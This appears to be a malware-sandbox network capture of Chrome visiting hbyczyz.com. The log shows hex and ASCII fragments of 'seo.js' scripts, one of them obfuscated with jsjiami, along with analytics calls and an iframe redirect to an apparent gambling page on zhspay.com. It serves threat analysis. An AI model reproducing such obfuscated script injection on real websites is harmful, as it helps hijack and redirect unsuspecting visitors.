Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49719	50.3.213.78	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:34 UTC	608	OUT	GET /2023/seo.js HTTP/1.1 Host: www.uapp360.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: http://hbyczyz.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:50:34 UTC	264	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Sep 2024 03:50:34 GMT Content-Type: application/javascript Content-Length: 4253 Last-Modified: Fri, 07 Jun 2024 10:25:56 GMT Connection: close Vary: Accept-Encoding ETag: "6662e034-109d" Accept-Ranges: bytes
2024-09-27 03:50:34 UTC	4253	IN	Data Raw: ef bb bf 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 27 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 3c 73 74 79 6c 65 3e 68 74 6d 6c 2c 62 6f 64 79 7b 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 27 29 3b 0d 0a 0d 0a 66 75 6e 63 74 69 6f 6e 20 63 68 65 63 6b 74 69 74 6c 65 28 29 0d 0a 7b 0d 0a 09 76 61 72 20 66 69 74 3d 31 3b 0d 0a 09 76 61 72 20 Data Ascii: document.write('<meta name="viewport" content="width=device-width,initial-scale=1, maximum-scale=1, user-scalable=no"><style>html,body{width:100%;height:100%;overflow:hidden;margin:0;padding:0}</style>');function checktitle(){var fit=1;var

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49721	38.54.26.75	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:34 UTC	607	OUT	GET /21261259.js HTTP/1.1 Host: js.users.51.la Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: http://hbyczyz.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:50:34 UTC	556	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 03:50:34 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Server: openresty Access-Control-Allow-Headers: Content-Type Access-Control-Allow-Origin: * Cache-Control: no-store Access-Control-Allow-Credentials: true via: EU-BGR-sofia-EDGE1-CACHE3[199],EU-BGR-sofia-EDGE1-CACHE3[ovl,195],EU-CZE-prague-EDGE1-CACHE1[ovl,177],EU-GER-frankfurt-EDGE5-CACHE1[ovl,154],CHN-HElangfang-GLOBAL6-CACHE40[ovl,17] X-CCDN-REQ-ID-46B1: f794fab7887fb8841254e3808112fae6
2024-09-27 03:50:34 UTC	5081	IN	Data Raw: 31 33 63 63 0d 0a 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 63 6f 6e 66 69 67 20 3d 20 7b 69 74 76 3a 20 31 38 30 30 30 30 30 2c 75 72 6c 31 3a 27 2f 2f 69 61 2e 35 31 2e 6c 61 2f 67 6f 31 3f 69 64 3d 32 31 32 36 31 32 35 39 27 2c 65 6b 63 3a 27 27 7d 3b 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 27 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 35 31 2e 6c 61 2f 3f 63 6f 6d 49 64 3d 32 31 32 36 31 32 35 39 22 20 74 69 74 6c 65 3d 22 35 31 2e 4c 61 20 5c 75 37 66 35 31 5c 75 37 61 64 39 5c 75 36 64 34 31 5c 75 39 31 63 66 5c 75 37 65 64 66 5c 75 38 62 61 31 5c 75 37 63 66 62 5c 75 37 65 64 66 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e 5c 75 37 66 35 31 5c 75 37 61 64 39 5c 75 37 65 64 66 5c 75 38 62 61 31 3c 2f 61 3e 27 Data Ascii: 13cc(function(){var config = {itv: 1800000,url1:'//ia.51.la/go1?id=21261259',ekc:''};document.write('<a href="https://www.51.la/?comId=21261259" title="51.La \u7f51\u7ad9\u6d41\u91cf\u7edf\u8ba1\u7cfb\u7edf" target="_blank">\u7f51\u7ad9\u7edf\u8ba1</a>'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49723	50.2.64.137	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:34 UTC	345	OUT	GET /seo.js HTTP/1.1 Host: www.hbyczyz.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:50:34 UTC	332	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Sep 2024 03:50:09 GMT Content-Type: application/javascript Content-Length: 2787 Last-Modified: Wed, 12 Jun 2024 07:32:25 GMT Connection: close Vary: Accept-Encoding ETag: "66694f09-ae3" Expires: Fri, 27 Sep 2024 04:50:09 GMT Cache-Control: max-age=3600 Accept-Ranges: bytes
2024-09-27 03:50:34 UTC	2787	IN	Data Raw: 76 61 72 20 5f 5f 65 6e 63 6f 64 65 20 3d 27 6a 73 6a 69 61 6d 69 2e 63 6f 6d 27 2c 5f 61 3d 7b 7d 2c 20 5f 30 78 62 34 38 33 3d 5b 22 5c 78 35 46 5c 78 36 34 5c 78 36 35 5c 78 36 33 5c 78 36 46 5c 78 36 34 5c 78 36 35 22 2c 22 5c 78 36 38 5c 78 37 34 5c 78 37 34 5c 78 37 30 5c 78 33 41 5c 78 32 46 5c 78 32 46 5c 78 37 37 5c 78 37 37 5c 78 37 37 5c 78 32 45 5c 78 37 33 5c 78 36 46 5c 78 36 41 5c 78 37 33 5c 78 36 46 5c 78 36 45 5c 78 32 45 5c 78 36 33 5c 78 36 46 5c 78 36 44 5c 78 32 46 5c 78 36 41 5c 78 36 31 5c 78 37 36 5c 78 36 31 5c 78 37 33 5c 78 36 33 5c 78 37 32 5c 78 36 39 5c 78 37 30 5c 78 37 34 5c 78 36 46 5c 78 36 32 5c 78 36 36 5c 78 37 35 5c 78 37 33 5c 78 36 33 5c 78 36 31 5c 78 37 34 5c 78 36 46 5c 78 37 32 5c 78 32 45 5c 78 36 38 5c 78 37 Data Ascii: var __encode ='jsjiami.com',_a={}, _0xb483=["\x5F\x64\x65\x63\x6F\x64\x65","\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x73\x6F\x6A\x73\x6F\x6E\x2E\x63\x6F\x6D\x2F\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x6F\x62\x66\x75\x73\x63\x61\x74\x6F\x72\x2E\x68\x7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49725	184.28.90.27	443

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:35 UTC	239	OUT	GET /fs/windows/config.json HTTP/1.1 Connection: Keep-Alive Accept: / Accept-Encoding: identity If-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMT Range: bytes=0-2147483646 User-Agent: Microsoft BITS/7.8 Host: fs.microsoft.com
2024-09-27 03:50:35 UTC	514	IN	HTTP/1.1 200 OK ApiVersion: Distribute 1.1 Content-Disposition: attachment; filename=config.json; filename*=UTF-8''config.json Content-Type: application/octet-stream ETag: "0x64667F707FF07D62B733DBCB79EFE3855E6886C9975B0C0B467D46231B3FA5E7" Last-Modified: Tue, 16 May 2017 22:58:00 GMT Server: ECAcc (lpl/EF06) X-CID: 11 X-Ms-ApiVersion: Distribute 1.2 X-Ms-Region: prod-weu-z1 Cache-Control: public, max-age=46485 Date: Fri, 27 Sep 2024 03:50:35 GMT Content-Length: 55 Connection: close X-CID: 2
2024-09-27 03:50:35 UTC	55	IN	Data Raw: 7b 22 66 6f 6e 74 53 65 74 55 72 69 22 3a 22 66 6f 6e 74 73 65 74 2d 32 30 31 37 2d 30 34 2e 6a 73 6f 6e 22 2c 22 62 61 73 65 55 72 69 22 3a 22 66 6f 6e 74 73 22 7d Data Ascii: {"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49726	50.3.213.78	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:36 UTC	350	OUT	GET /2023/seo.js HTTP/1.1 Host: www.uapp360.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:50:36 UTC	264	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Sep 2024 03:50:36 GMT Content-Type: application/javascript Content-Length: 4253 Last-Modified: Fri, 07 Jun 2024 10:25:56 GMT Connection: close Vary: Accept-Encoding ETag: "6662e034-109d" Accept-Ranges: bytes
2024-09-27 03:50:36 UTC	4253	IN	Data Raw: ef bb bf 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 27 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 3c 73 74 79 6c 65 3e 68 74 6d 6c 2c 62 6f 64 79 7b 77 69 64 74 68 3a 31 30 30 25 3b 68 65 69 67 68 74 3a 31 30 30 25 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 3c 2f 73 74 79 6c 65 3e 27 29 3b 0d 0a 0d 0a 66 75 6e 63 74 69 6f 6e 20 63 68 65 63 6b 74 69 74 6c 65 28 29 0d 0a 7b 0d 0a 09 76 61 72 20 66 69 74 3d 31 3b 0d 0a 09 76 61 72 20 Data Ascii: document.write('<meta name="viewport" content="width=device-width,initial-scale=1, maximum-scale=1, user-scalable=no"><style>html,body{width:100%;height:100%;overflow:hidden;margin:0;padding:0}</style>');function checktitle(){var fit=1;var

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49724	111.45.11.83	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:36 UTC	544	OUT	GET /hm.js?2f4a9eb3b313afbfc53ecee34428d6f2 HTTP/1.1 Host: hm.baidu.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: http://hbyczyz.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:50:36 UTC	194	IN	HTTP/1.1 200 OK Content-Length: 0 Date: Fri, 27 Sep 2024 03:50:36 GMT Server: apache Strict-Transport-Security: max-age=172800 Content-Type: text/plain; charset=utf-8 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.5	49732	148.153.240.75	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:36 UTC	349	OUT	GET /21261259.js HTTP/1.1 Host: js.users.51.la Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:50:38 UTC	528	IN	HTTP/1.1 200 OK Date: Fri, 27 Sep 2024 03:50:37 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Server: openresty Access-Control-Allow-Headers: Content-Type Access-Control-Allow-Origin: * Cache-Control: no-store Access-Control-Allow-Credentials: true via: EU-GER-frankfurt-EDGE7-CACHE2[160],EU-GER-frankfurt-EDGE7-CACHE2[ovl,157],EU-GER-frankfurt-EDGE5-CACHE2[ovl,156],CHN-HElangfang-GLOBAL6-CACHE34[ovl,16] X-CCDN-REQ-ID-46B1: ccf4c21de836eb5cfba6d9c3f49fff80
2024-09-27 03:50:38 UTC	5081	IN	Data Raw: 31 33 63 63 0d 0a 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 63 6f 6e 66 69 67 20 3d 20 7b 69 74 76 3a 20 31 38 30 30 30 30 30 2c 75 72 6c 31 3a 27 2f 2f 69 61 2e 35 31 2e 6c 61 2f 67 6f 31 3f 69 64 3d 32 31 32 36 31 32 35 39 27 2c 65 6b 63 3a 27 27 7d 3b 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 27 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 35 31 2e 6c 61 2f 3f 63 6f 6d 49 64 3d 32 31 32 36 31 32 35 39 22 20 74 69 74 6c 65 3d 22 35 31 2e 4c 61 20 5c 75 37 66 35 31 5c 75 37 61 64 39 5c 75 36 64 34 31 5c 75 39 31 63 66 5c 75 37 65 64 66 5c 75 38 62 61 31 5c 75 37 63 66 62 5c 75 37 65 64 66 22 20 74 61 72 67 65 74 3d 22 5f 62 6c 61 6e 6b 22 3e 5c 75 37 66 35 31 5c 75 37 61 64 39 5c 75 37 65 64 66 5c 75 38 62 61 31 3c 2f 61 3e 27 Data Ascii: 13cc(function(){var config = {itv: 1800000,url1:'//ia.51.la/go1?id=21261259',ekc:''};document.write('<a href="https://www.51.la/?comId=21261259" title="51.La \u7f51\u7ad9\u6d41\u91cf\u7edf\u8ba1\u7cfb\u7edf" target="_blank">\u7f51\u7ad9\u7edf\u8ba1</a>'

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49733	50.3.213.5	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:36 UTC	687	OUT	GET /zhuye/index.html HTTP/1.1 Host: www.zhspay.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: http://hbyczyz.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:50:38 UTC	250	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Sep 2024 03:50:37 GMT Content-Type: text/html Content-Length: 3588 Last-Modified: Fri, 26 Jul 2024 07:45:54 GMT Connection: close Vary: Accept-Encoding ETag: "66a35432-e04" Accept-Ranges: bytes
2024-09-27 03:50:38 UTC	3588	IN	Data Raw: ef bb bf 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 3e 0d 0a 3c 6d 65 74 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head><meta content="text/html; charset=UTF-8" http-equiv="Content-Type"><met

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49737	50.3.213.5	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:38 UTC	558	OUT	GET /zhuye/index.css HTTP/1.1 Host: www.zhspay.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.zhspay.com/zhuye/index.html Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:50:39 UTC	249	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Sep 2024 03:50:39 GMT Content-Type: text/css Content-Length: 1092 Last-Modified: Thu, 09 Jun 2022 16:05:13 GMT Connection: close Vary: Accept-Encoding ETag: "62a21a39-444" Accept-Ranges: bytes
2024-09-27 03:50:39 UTC	1092	IN	Data Raw: 2f 2a 20 3a 3a 3a 3a 3a 20 2f 63 73 73 2f 73 74 79 6c 65 2e 63 73 73 20 3a 3a 3a 3a 3a 20 2a 2f 0d 0a 0d 0a 2a 20 7b 20 6d 61 72 67 69 6e 3a 20 30 70 78 3b 20 70 61 64 64 69 6e 67 3a 20 30 70 78 3b 20 7d 0d 0a 61 20 7b 20 63 6f 6c 6f 72 3a 20 72 67 62 28 30 2c 20 30 2c 20 30 29 3b 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 20 7d 0d 0a 2e 63 6c 65 61 72 20 7b 20 63 6c 65 61 72 3a 20 62 6f 74 68 3b 20 7d 0d 0a 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 20 6d 61 72 67 69 6e 3a 20 61 75 74 6f 3b 20 77 69 64 74 68 3a 20 31 31 30 30 70 78 3b 20 7d 0d 0a 2e 74 6f 70 20 7b 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 7d 0d 0a 2e 74 6f 70 20 69 6d 67 20 7b 20 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 38 70 78 3b 20 6d 61 72 67 69 6e Data Ascii: /* ::::: /css/style.css ::::: / { margin: 0px; padding: 0px; }a { color: rgb(0, 0, 0); text-decoration: none; }.clear { clear: both; }.container { margin: auto; width: 1100px; }.top { text-align: center; }.top img { margin-top: 8px; margin

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49740	50.3.213.5	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:38 UTC	557	OUT	GET /zhuye/site.css HTTP/1.1 Host: www.zhspay.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.zhspay.com/zhuye/index.html Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:50:39 UTC	225	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Sep 2024 03:50:39 GMT Content-Type: text/css Content-Length: 580 Last-Modified: Thu, 09 Jun 2022 16:05:13 GMT Connection: close ETag: "62a21a39-244" Accept-Ranges: bytes
2024-09-27 03:50:39 UTC	580	IN	Data Raw: 75 6c 20 7b 0d 0a 20 20 20 20 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0d 0a 20 20 20 20 6d 61 72 67 69 6e 3a 30 20 61 75 74 6f 3b 0d 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 30 3b 0d 0a 20 20 20 20 6c 69 73 74 2d 73 74 79 6c 65 3a 6e 6f 6e 65 0d 0a 7d 0d 0a 0d 0a 61 73 69 64 65 2e 73 65 72 76 69 63 65 73 20 7b 0d 0a 20 20 20 20 70 6f 73 69 74 69 6f 6e 3a 66 69 78 65 64 3b 0d 0a 20 20 20 20 7a 2d 69 6e 64 65 78 3a 32 3b 0d 0a 20 20 20 20 74 6f 70 3a 32 31 30 70 78 3b 0d 0a 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 6e 6f 2d 72 65 70 65 61 74 0d 0a 7d 0d 0a 61 73 69 64 65 2e 73 65 72 76 69 63 65 73 20 75 6c 20 7b 0d 0a 20 20 20 20 77 69 64 74 68 3a 31 33 30 70 78 0d 0a 7d 0d 0a 61 73 69 64 65 2e 73 65 72 76 69 63 Data Ascii: ul { display:inline-block; margin:0 auto; padding:0; list-style:none}aside.services { position:fixed; z-index:2; top:210px; background-repeat:no-repeat}aside.services ul { width:130px}aside.servic

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49742	50.3.213.5	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:38 UTC	551	OUT	GET /zhuye/jquery.la.min.js HTTP/1.1 Host: www.zhspay.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.zhspay.com/zhuye/index.html Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:50:39 UTC	239	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Sep 2024 03:50:39 GMT Content-Type: application/javascript Content-Length: 718 Last-Modified: Thu, 09 Jun 2022 16:05:13 GMT Connection: close ETag: "62a21a39-2ce" Accept-Ranges: bytes
2024-09-27 03:50:39 UTC	718	IN	Data Raw: 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 22 3c 73 63 72 69 70 74 3e 21 66 75 6e 63 74 69 6f 6e 28 70 29 7b 5c 22 75 73 65 20 73 74 72 69 63 74 5c 22 3b 21 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 73 3d 77 69 6e 64 6f 77 2c 65 3d 64 6f 63 75 6d 65 6e 74 2c 69 3d 70 2c 63 3d 5c 22 5c 22 2e 63 6f 6e 63 61 74 28 5c 22 68 74 74 70 73 3a 5c 22 3d 3d 3d 65 2e 6c 6f 63 61 74 69 6f 6e 2e 70 72 6f 74 6f 63 6f 6c 3f 5c 22 68 74 74 70 73 3a 2f 2f 5c 22 3a 5c 22 68 74 74 70 3a 2f 2f 5c 22 2c 5c 22 73 64 6b 2e 35 31 2e 6c 61 2f 6a 73 2d 73 64 6b 2d 70 72 6f 2e 6d 69 6e 2e 6a 73 5c 22 29 2c 6e 3d 65 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 5c 22 73 63 72 69 70 74 5c 22 29 2c 72 3d 65 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 5c 22 Data Ascii: document.write("<script>!function(p){\"use strict\";!function(t){var s=window,e=document,i=p,c=\"\".concat(\"https:\"===e.location.protocol?\"https://\":\"http://\",\"sdk.51.la/js-sdk-pro.min.js\"),n=e.createElement(\"script\"),r=e.getElementsByTagName(\"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49738	50.3.213.5	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-27 03:50:38 UTC	610	OUT	GET /zhuye/img/bet2024.gif HTTP/1.1 Host: www.zhspay.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.zhspay.com/zhuye/index.html Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-09-27 03:50:39 UTC	231	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 27 Sep 2024 03:50:39 GMT Content-Type: image/gif Content-Length: 162061 Last-Modified: Wed, 07 Feb 2024 05:39:06 GMT Connection: close ETag: "65c3177a-2790d" Accept-Ranges: bytes
2024-09-27 03:50:39 UTC	16153	IN	Data Raw: 47 49 46 38 39 61 e8 03 2c 01 b3 0f 00 ae 66 35 3b 4a 35 f5 f0 90 d8 c9 49 60 8d 4c eb ee ee a2 9d 7e d8 b4 85 fc fd c8 ff f6 04 59 2b 02 13 13 13 00 46 23 ed 11 0f ff ff ff 00 00 00 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 00 00 00 21 ff 0b 58 4d 50 20 44 61 74 61 58 4d 50 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 33 38 20 37 39 2e 31 35 39 38 32 34 2c 20 32 30 31 36 2f 30 39 2f 31 34 2d 30 31 3a 30 39 3a 30 31 20 20 20 20 20 20 20 20 Data Ascii: 